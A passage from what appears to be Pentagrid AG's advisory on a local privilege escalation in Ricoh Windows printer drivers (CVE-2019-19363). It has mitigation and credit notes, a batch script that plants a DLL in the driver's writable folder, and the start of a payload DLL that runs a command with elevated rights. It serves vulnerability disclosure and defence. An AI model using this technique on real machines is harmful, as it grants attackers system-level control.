Printer Drivers) and  another group policy to  control adding printers
(User Configuration  -&amp;gt; Administrative  Templates -&amp;gt; Control  Panel -&amp;gt;
Printers -&amp;gt;  Prevent addition of  printers). When used,  people cannot
install drivers, respectively adding printers.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;This  vulnerability has  been  found by  Alexander  Pudwill, who  also
provided  an initial  proof of  concept  exploit in  C#. Pentagrid  AG
independently  validated the  findings,  fully  automated the  exploit
process and handled the coordinated disclosure.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="proof-of-concept-exploit"&gt;
&lt;h2&gt;Proof of Concept Exploit&lt;/h2&gt;
&lt;section id="launch-script"&gt;
&lt;h3&gt;1. Launch Script&lt;/h3&gt;
&lt;div class="code"&gt;&lt;table class="codetable"&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-1"&gt;&lt;code data-line-number=" 1"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-1" name="rest_code_566a719046b54bd9a151eb561154593d-1"&gt;&lt;/a&gt;&lt;span class="c1"&gt;REM This example batch script executes the proof of concept exploit.&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-2"&gt;&lt;code data-line-number=" 2"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-2" name="rest_code_566a719046b54bd9a151eb561154593d-2"&gt;&lt;/a&gt;&lt;span class="c1"&gt;REM Written by Pentagrid AG, 2019.&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-3"&gt;&lt;code data-line-number=" 3"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-3" name="rest_code_566a719046b54bd9a151eb561154593d-3"&gt;&lt;/a&gt;&lt;span class="c1"&gt;REM See https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-4"&gt;&lt;code data-line-number=" 4"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-4" name="rest_code_566a719046b54bd9a151eb561154593d-4"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-5"&gt;&lt;code data-line-number=" 5"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-5" name="rest_code_566a719046b54bd9a151eb561154593d-5"&gt;&lt;/a&gt;&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="nv"&gt;DLL&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;watermark.dll
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-6"&gt;&lt;code data-line-number=" 6"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-6" name="rest_code_566a719046b54bd9a151eb561154593d-6"&gt;&lt;/a&gt;&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="nv"&gt;STEPS&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;2
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-7"&gt;&lt;code data-line-number=" 7"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-7" name="rest_code_566a719046b54bd9a151eb561154593d-7"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-8"&gt;&lt;code data-line-number=" 8"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-8" name="rest_code_566a719046b54bd9a151eb561154593d-8"&gt;&lt;/a&gt;&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="nv"&gt;PRINTERNAME&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;RICOH PCL6 UniversalDriver V4.23
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-9"&gt;&lt;code data-line-number=" 9"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-9" name="rest_code_566a719046b54bd9a151eb561154593d-9"&gt;&lt;/a&gt;&lt;span class="c1"&gt;REM SET PRINTERNAME=RICOH Aficio SP 8300DN PCL 6&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-10"&gt;&lt;code data-line-number="10"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-10" name="rest_code_566a719046b54bd9a151eb561154593d-10"&gt;&lt;/a&gt;&lt;span class="c1"&gt;REM SET PRINTERNAME=RICOH P 501 PCL 6&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-11"&gt;&lt;code data-line-number="11"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-11" name="rest_code_566a719046b54bd9a151eb561154593d-11"&gt;&lt;/a&gt;&lt;span class="c1"&gt;REM SET PRINTERNAME=RICOH MP C6503 PCL 6&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-12"&gt;&lt;code data-line-number="12"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-12" name="rest_code_566a719046b54bd9a151eb561154593d-12"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-13"&gt;&lt;code data-line-number="13"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-13" name="rest_code_566a719046b54bd9a151eb561154593d-13"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-14"&gt;&lt;code data-line-number="14"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-14" name="rest_code_566a719046b54bd9a151eb561154593d-14"&gt;&lt;/a&gt;PoC.exe &lt;span class="se"&gt;^&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-15"&gt;&lt;code data-line-number="15"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-15" name="rest_code_566a719046b54bd9a151eb561154593d-15"&gt;&lt;/a&gt;&lt;span class="se"&gt; &lt;/span&gt;  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;%PRINTERNAME%&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;^&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-16"&gt;&lt;code data-line-number="16"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-16" name="rest_code_566a719046b54bd9a151eb561154593d-16"&gt;&lt;/a&gt;&lt;span class="se"&gt; &lt;/span&gt;  &lt;span class="s2"&gt;"C:\ProgramData\RICOH_DRV\&lt;/span&gt;&lt;span class="nv"&gt;%PRINTERNAME%&lt;/span&gt;&lt;span class="s2"&gt;\_common\dlz\&lt;/span&gt;&lt;span class="nv"&gt;%DLL%&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;^&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-17"&gt;&lt;code data-line-number="17"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-17" name="rest_code_566a719046b54bd9a151eb561154593d-17"&gt;&lt;/a&gt;&lt;span class="se"&gt; &lt;/span&gt;  &lt;span class="s2"&gt;"RICOH_DRV\&lt;/span&gt;&lt;span class="nv"&gt;%PRINTERNAME%&lt;/span&gt;&lt;span class="s2"&gt;\_common\dlz\&lt;/span&gt;&lt;span class="nv"&gt;%DLL%&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;^&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-18"&gt;&lt;code data-line-number="18"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-18" name="rest_code_566a719046b54bd9a151eb561154593d-18"&gt;&lt;/a&gt;&lt;span class="se"&gt; &lt;/span&gt;  Dll.dll &lt;span class="se"&gt;^&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-19"&gt;&lt;code data-line-number="19"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-19" name="rest_code_566a719046b54bd9a151eb561154593d-19"&gt;&lt;/a&gt;&lt;span class="se"&gt; &lt;/span&gt;  &lt;span class="nv"&gt;%STEPS%&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-20"&gt;&lt;code data-line-number="20"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-20" name="rest_code_566a719046b54bd9a151eb561154593d-20"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-21"&gt;&lt;code data-line-number="21"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-21" name="rest_code_566a719046b54bd9a151eb561154593d-21"&gt;&lt;/a&gt;&lt;span class="c1"&gt;REM Wait for a moment&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-22"&gt;&lt;code data-line-number="22"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-22" name="rest_code_566a719046b54bd9a151eb561154593d-22"&gt;&lt;/a&gt;timeout /t 5
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_566a719046b54bd9a151eb561154593d-23"&gt;&lt;code data-line-number="23"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_566a719046b54bd9a151eb561154593d-23" name="rest_code_566a719046b54bd9a151eb561154593d-23"&gt;&lt;/a&gt;&lt;span class="k"&gt;dir&lt;/span&gt; c:\result.txt
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section id="payload-dll"&gt;
&lt;h3&gt;2. Payload DLL&lt;/h3&gt;
&lt;div class="code"&gt;&lt;table class="codetable"&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-1"&gt;&lt;code data-line-number=" 1"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-1" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-1"&gt;&lt;/a&gt;&lt;span class="cm"&gt;/*&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-2"&gt;&lt;code data-line-number=" 2"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-2" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-2"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-3"&gt;&lt;code data-line-number=" 3"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-3" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-3"&gt;&lt;/a&gt;&lt;span class="cm"&gt;This proof of concept DLL executes a shell command with elevated privileges.&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-4"&gt;&lt;code data-line-number=" 4"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-4" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-4"&gt;&lt;/a&gt;&lt;span class="cm"&gt;Written by Pentagrid AG, 2019.&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-5"&gt;&lt;code data-line-number=" 5"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-5" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-5"&gt;&lt;/a&gt;&lt;span class="cm"&gt;Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-6"&gt;&lt;code data-line-number=" 6"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-6" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-6"&gt;&lt;/a&gt;&lt;span class="cm"&gt;*/&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-7"&gt;&lt;code data-line-number=" 7"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-7" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-7"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-8"&gt;&lt;code data-line-number=" 8"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-8" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-8"&gt;&lt;/a&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;"stdafx.h"&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-9"&gt;&lt;code data-line-number=" 9"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-9" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-9"&gt;&lt;/a&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;shellapi.h&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-10"&gt;&lt;code data-line-number="10"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-10" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-10"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-11"&gt;&lt;code data-line-number="11"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-11" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-11"&gt;&lt;/a&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WINAPI&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DllMain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HMODULE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-12"&gt;&lt;code data-line-number="12"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-12" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-12"&gt;&lt;/a&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ul_reason_for_call&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-13"&gt;&lt;code data-line-number="13"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-13" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-13"&gt;&lt;/a&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="n"&gt;LPVOID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpReserved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-14"&gt;&lt;code data-line-number="14"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-14" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-14"&gt;&lt;/a&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;WinExec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cmd.exe /c whoami &amp;gt; c:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;result.txt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SW_HIDE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
